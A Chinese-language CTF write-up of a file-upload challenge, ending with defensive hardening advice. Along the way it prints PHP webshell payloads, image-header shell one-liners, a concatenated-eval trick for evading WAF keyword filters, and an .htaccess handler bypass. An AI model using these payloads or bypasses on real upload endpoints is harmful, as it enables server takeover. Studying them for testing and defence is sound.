1. 文件上传漏洞实战解析
最近在BUUCTF平台刷题时遇到一道名为"[极客大挑战 2019]Upload"的题目,这道CTF题典型地考察了Web安全中文件上传漏洞的攻防技巧。作为渗透测试中最高频的漏洞类型之一,文件上传功能如果防护不当,攻击者可以直接上传webshell获取服务器权限。下面我将完整还原解题过程,并深入分析其中涉及的安全机制。
提示:本文所有操作均在合法授权的靶机环境进行,严禁对未授权系统进行测试
2. 题目环境探测
2.1 基础信息收集
访问题目提供的URL后,呈现的是一个简单的文件上传界面。首先使用浏览器开发者工具查看页面源码,发现前端有JavaScript验证逻辑:
javascript复制function checkFile() {
var file = document.getElementById("file").value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
// 验证文件扩展名
var allow_ext = ".jpg|.png|.gif";
var ext_name = file.substring(file.lastIndexOf("."));
if (allow_ext.indexOf(ext_name) == -1) {
alert("仅允许上传jpg/png/gif格式文件!");
return false;
}
}
2.2 绕过前端验证
虽然前端限制了只能上传图片格式,但这类客户端验证很容易绕过:
- 使用Burp Suite拦截上传请求
- 修改文件名后缀为.php
- 删除或修改Content-Type头为image/jpeg
http复制POST /upload.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
<?php @eval($_POST['cmd']); ?>
3. 服务端防护突破
3.1 首次上传测试
直接上传php文件后,服务器返回错误:
"文件类型不正确,仅允许image/jpeg, image/png, image/gif格式!"
说明服务端有MIME类型检查。通过修改Content-Type为image/png再次尝试:
http复制Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/png
3.2 文件内容检测绕过
第二次上传后出现新提示:"文件内容不符合要求!"。这说明服务器进行了文件内容检测,常见方法有:
- 文件头检查(Magic Number)
- 图像尺寸验证
- 二次渲染检测
使用图片马技术绕过:
bash复制# 创建包含PHP代码的PNG图片
echo '<?php @eval($_POST["cmd"]);?>' >> test.png
# 或用GIF
echo 'GIF89a<?=system($_GET[0]);?>' > shell.gif
3.3 文件扩展名过滤
第三次尝试时遇到:"危险文件扩展名!"。说明服务端有扩展名黑名单。测试发现过滤了:
- .php
- .php5
- .phtml
使用特殊扩展名绕过:
- .php7
- .phps
- .php.
4. 最终漏洞利用
4.1 组合绕过技术
最终成功上传的payload需要满足:
- 文件头为图片格式(如GIF89a)
- Content-Type为image/*
- 使用非常规扩展名(如.pht)
完整攻击流程:
bash复制# 生成图片马
echo 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.pht
# 使用Burp修改请求
POST /upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.pht"
Content-Type: image/gif
<文件二进制内容>
4.2 获取Flag
上传成功后访问文件路径,添加参数执行命令:
code复制http://target.com/uploads/shell.pht?cmd=cat+/flag
5. 防御方案深度解析
5.1 完整防护策略
- 文件扩展名白名单(非黑名单)
- 文件内容严格检测(使用getimagesize()等)
- 重命名上传文件(如md5(filename)+.jpg)
- 存储目录禁用脚本执行
- 设置文件权限为644
5.2 安全配置示例
php复制// 允许的扩展名
$allowed = ['jpg', 'png', 'gif'];
// 获取文件信息
$info = pathinfo($_FILES['file']['name']);
$ext = strtolower($info['extension']);
// 验证流程
if (!in_array($ext, $allowed)) {
die('Invalid extension');
}
if (!getimagesize($_FILES['file']['tmp_name'])) {
die('Invalid image');
}
// 重命名文件
$new_name = md5(uniqid()).'.'.$ext;
move_uploaded_file($_FILES['file']['tmp_name'], '/var/www/uploads/'.$new_name);
6. 实战中的疑难问题
6.1 常见拦截场景
-
WAF拦截特定关键字(如"eval")
- 解决方案:使用字符串拼接、编码混淆
php复制<?php $a = 'ev'.'al'; $a($_POST['x']); ?> -
文件被二次渲染
- 测试方法:上传正常图片后下载比较哈希值
- 解决方案:寻找渲染逻辑漏洞
6.2 高级绕过技巧
-
.htaccess文件攻击
bash复制echo "AddType application/x-httpd-php .abc" > .htaccess然后上传shell.abc
-
条件竞争漏洞
在文件被删除前快速访问 -
日志文件注入
通过User-Agent等字段注入PHP代码
7. 防御加固建议
-
在nginx配置中禁用危险解析:
nginx复制location ~* \.(php|php5|phtml)$ { deny all; } -
设置open_basedir限制目录访问
-
定期更新服务器组件(如ImageMagick)
-
使用沙箱环境处理上传文件
这个题目完整展示了从基础绕过到组合利用的全过程。在实际渗透测试中,往往需要结合多种技术才能突破防御。建议开发者在实现上传功能时采用"纵深防御"策略,而非依赖单一防护措施。